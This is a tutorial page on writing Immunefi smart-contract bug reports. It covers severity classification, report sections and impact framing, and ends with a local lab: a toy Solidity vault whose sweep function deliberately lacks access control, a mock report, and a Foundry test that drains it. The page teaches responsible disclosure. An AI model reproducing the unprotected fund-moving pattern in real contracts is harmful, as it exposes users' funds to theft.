How to Write an Immunefi Bug Report That Gets Taken Seriously
How to write an Immunefi bug report is a craft problem: clear impact, correct severity language, and a runnable local PoC — not a three-line guess. This Andrax tutorial — by Syed Zada Abrar — covers ~50% theory, ~50% template practice.
Prerequisites: Foundry + Slither Setup; Solidity Reentrancy Explained; Access Control Bugs; How to Start Web3 Bug Hunting.
Also useful: Hub; ERC-4626 Share Inflation (local vault patterns); DeFi-Specific Patterns: Governance, Bridges & L2 Risks.
Ethics fence: the mock report and PoC below are ILLUSTRATIVE / local. They target a toy vault you deploy in Foundry — not a live Immunefi program. Do not submit this mock to any project. Do not test in-scope mainnet or public-testnet code. Immunefi rules ban that testing and spam / AI spray reports.
What “taken seriously” means on Immunefi
Immunefi’s public guide How to Submit Bug Reports That Get Paid is blunt: short empty reports get ignored or worse; PoCs must be runnable (Foundry/Hardhat test or exploit contract), tested on a local network / mainnet fork, not on mainnet or public testnet; impact must be articulated in economic terms that match in-scope impacts on the program page.
Also prohibited (rules + guide): AI-generated spray, out-of-scope impacts, severity inflation, harassment, public disclosure before fix+pay, and testing live deployed in-scope code.
Immunefi severity classification (impact-first)
Use the Immunefi Vulnerability Severity Classification System v2.3 (immunefi severity classification). Smart Contracts excerpt (read the live table — programs may narrow it):
| Level | Example impacts (Smart Contracts) |
|---|---|
| Critical | Direct theft of user funds/NFTs; permanent freezing; unauthorized minting; governance manipulation changing outcome; protocol insolvency |
| High | Theft/freezing of unclaimed yield/royalties; temporary freezing of funds/NFTs |
| Medium | Griefing; unbounded gas; contract unable to operate due to lack of token funds; theft of gas |
| Low | Fails to deliver promised returns without losing value |
Downgrade when elevated privileges or uncommon user interaction are required. NIST CVSS is a poor fit for most DeFi reports — prefer IVS, then the program’s listed impacts.
Default out-of-scope themes (IVS page; always re-check the program): already-exploited damage, leaked keys, privileged-address attacks without privilege changes, third-party oracle incorrect data (with stated exceptions for manipulation/flash-loan where in scope), 51%-style governance/economy assumptions, Sybil, pure centralization risk, best-practice nits, phishing.
Bug report template (section order)
Align with Immunefi’s published template sections:
- Title — vulnerability class + impact (“Missing access control on
setFeeleads to fee theft”). - Brief / Intro — one paragraph: what breaks, what happens if exploited.
- Details — precise location, code, why the bug exists; snippets that help, not walls of unrelated source.
- Impact — funds/NFTs at risk now, constrained to in-scope impacts; show the loss path.
- Risk / severity — IVS level + short justification (and any privilege/interaction downgrade).
- Recommendation — concrete fix or mitigation.
- References — docs, code links, related standards.
- Proof of Concept — runnable exploit code (Foundry/Hardhat test preferred), not steps-only, not pseudocode alone.
Immunefi also publishes Foundry PoC tutorials: Part 1 and Part 2 on the same blog path. Their help-center “Bug Report Submission Checklist” may require login; treat the blog template + rules as the public baseline if the checklist page is gated.
Title craft (30 seconds that triage notices)
Bad titles hide the bug. Good titles name where and what breaks:
| Weak | Stronger |
|---|---|
| "Bug in vault" | "Missing access control on sweep leads to direct theft of vault ERC20 balance" |
| "Possible reentrancy" | "Reentrancy in withdraw via ERC-777 callback drains pool reserves" |
| "Oracle issue" | "Spot price read in liquidate enables temporary underwater liquidations" |
Immunefi’s guide asks for a title that already implies vulnerability class and impact. If the project cannot guess the rest of the report from the title alone, rewrite it.
Impact math without hype
Impact is not a vibe. For funds-at-risk reports:
- State the asset and contract that loses value.
- State the attacker capability (any EOA? flash loan? governance pass?).
- Show a lower bound demonstrated by the PoC (toy balance stolen, shares inflated to zero, etc.).
- Separately, discuss upper bound only if you can justify it from public TVL / holdings without inventing numbers — cite an explorer view or program-stated TVL if the program publishes one. If you cannot cite, say “upper bound not estimated; PoC shows mechanism.”
- Confirm the selected impact exists on the program’s in-scope list.
Primacy of Impact (when the program uses it) still does not excuse out-of-scope assets. Read both lists.
Triage behavior that gets you ignored
- Placeholder titles and empty Details
- PoC that does not compile
- Severity Critical on a Medium griefing path
- Reporting best-practice nits as High
- Re-submitting the same issue with tiny wording changes
- Testing on mainnet “just to screenshot”
Treat the dashboard like a professional disclosure channel. Response SLAs exist in Immunefi’s project agreements (described in their public guide); use mediation paths there when appropriate — not social media pressure.
Smart contract PoC Foundry — framing rules
| Do | Do not |
|---|---|
forge test that fails closed, then shows the bug | Steps-only without code |
| Local Anvil / local deploy / explicit vulnerable CTF | Mainnet or public testnet of in-scope code |
| Assert balances / state change that proves impact | “It looketh vulnerable” screenshots only |
| Optimize attack parameters for max demonstrated loss on the toy | Drain a live protocol “to prove severity” |
| Name compiler, Foundry version, how to run | Paste entire protocol repos without a test entrypoint |
Lab — ILLUSTRATIVE mock report (local vault)
Goal: write a full report in Immunefi section order against a local toy that lets anyone call sweep. Attach a Foundry-shaped PoC. Do not submit this to Immunefi.
Toy target (local only)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// ILLUSTRATIVE / LOCAL LAB ONLY — not a real program target
interface IERC20Mini {
function balanceOf(address) external view returns (uint256);
function transfer(address, uint256) external returns (bool);
}
contract ToyOpenVault {
IERC20Mini public immutable asset;
address public owner;
constructor(IERC20Mini a, address o) {
asset = a;
owner = o;
}
function deposit() external payable {}
/// BUG (intentional): anyone can sweep ERC20 balance
function sweep(address to) external {
uint256 bal = asset.balanceOf(address(this));
require(asset.transfer(to, bal), "transfer");
}
}
ILLUSTRATIVE mock report (fill this into a markdown file locally)
# ILLUSTRATIVE ONLY — DO NOT SUBMIT
## Title
Missing access control on `ToyOpenVault.sweep` leads to direct theft of vault ERC20 balance
## Brief / Intro
`sweep(address)` has no `onlyOwner` (or equivalent) check. Any caller can transfer the vault’s entire ERC20 `asset` balance to an arbitrary address. On this local toy, that is direct theft of funds held by the vault.
## Details
- File: `src/ToyOpenVault.sol` (local lab)
- Function: `sweep(address to)`
- Root cause: missing authorization on a fund-moving function
- `owner` is stored but never consulted in `sweep`
## Impact
An unprivileged attacker can steal the full ERC20 balance of the vault contract in one call. Mapped to Immunefi Smart Contracts **Critical** example impact “Direct theft of any user funds…” **on this toy only**. A real program requires matching an **in-scope** impact on that program’s page.
## Risk Breakdown
- Severity (IVS, illustrative): Critical
- Privileges: none beyond calling `sweep`
- Likelihood on toy: any address once tokens sit in the vault
- Downgrade: none for the toy; on a real program, re-check OOS and privilege assumptions
## Recommendation
Restrict `sweep` to `owner` (or a role), or remove it and use a pull-payment pattern with proper access control. Add tests that `vm.prank(attacker)` reverts.
## References
- Immunefi IVS v2.3 — Smart Contracts Critical impacts
- Andrax access-control tutorial (local learning)
- This report is ILLUSTRATIVE against `ToyOpenVault` only
## Proof of Concept
See `test/ToyOpenVaultSweep.t.sol` below. Run: `forge test --match-test test_anyoneCanSweep -vv`
Foundry PoC (attach as the runnable section)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
/// ILLUSTRATIVE mock asset — local lab only
contract MockAsset {
mapping(address => uint256) public balanceOf;
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
}
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
}
/// LOCAL LAB ONLY — ToyOpenVault from the previous snippet must be in project
contract ToyOpenVaultSweepTest is Test {
function test_anyoneCanSweep() public {
MockAsset asset = new MockAsset();
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
ToyOpenVault vault = new ToyOpenVault(IERC20Mini(address(asset)), owner);
asset.mint(address(vault), 1_000 ether);
vm.prank(attacker);
vault.sweep(attacker);
assertEq(asset.balanceOf(attacker), 1_000 ether);
assertEq(asset.balanceOf(address(vault)), 0);
}
}
Lab write-up (six sentences): title you chose; IVS level and why; whether a real program would list this impact; how you ran forge test locally; what you would change before a real submission (scope check, KYC awareness, no mainnet); confirmation you did not submit the mock.
Common report traps
| Trap | Better habit |
|---|---|
| Three-line “reentrancy maybe” | Full template + runnable PoC |
| Critical on a view-only nit | IVS + program in-scope impacts |
| Mainnet “demo” tx | Local / fork under rules |
| AI paste without understanding | You must explain Details in your own words |
| Severity shopping | Argue impact; accept triage |
| Submitting this mock | Never — ILLUSTRATIVE only |
Checklist before you hit submit (real programs, later)
- Program page: assets, impacts, OOS, PoC rules, KYC read
- Title states class + impact
- Brief, Details, Impact, Risk, Recommendation, References filled
- PoC runs locally (
forge test/ Hardhat) and demonstrates impact - No mainnet / public-testnet testing of in-scope code
- One vulnerability per report
- English; not spam; not duplicate of your own report
- You are ready for dashboard-only negotiation (no off-platform routing)
Next steps
- Prev (live): Foundry + Slither · Reentrancy · Access Control · How to Start Web3 Bug Hunting in 2026
- Prev (live): DeFi-Specific Patterns: Governance, Bridges & L2 Risks (Hunter View)
- Live: Hub
- Next (live): Submitting to Immunefi, CodeHawks & Sherlock (2026 Workflow)
- Next (live): Your First Real Target: Public-Scope Workflow (Fork-Only Testing)
Educational content by Syed Zada Abrar for Andrax (andraxpentester.in). Authorized research only. Mock report and vault are ILLUSTRATIVE / local lab only — do not submit to Immunefi.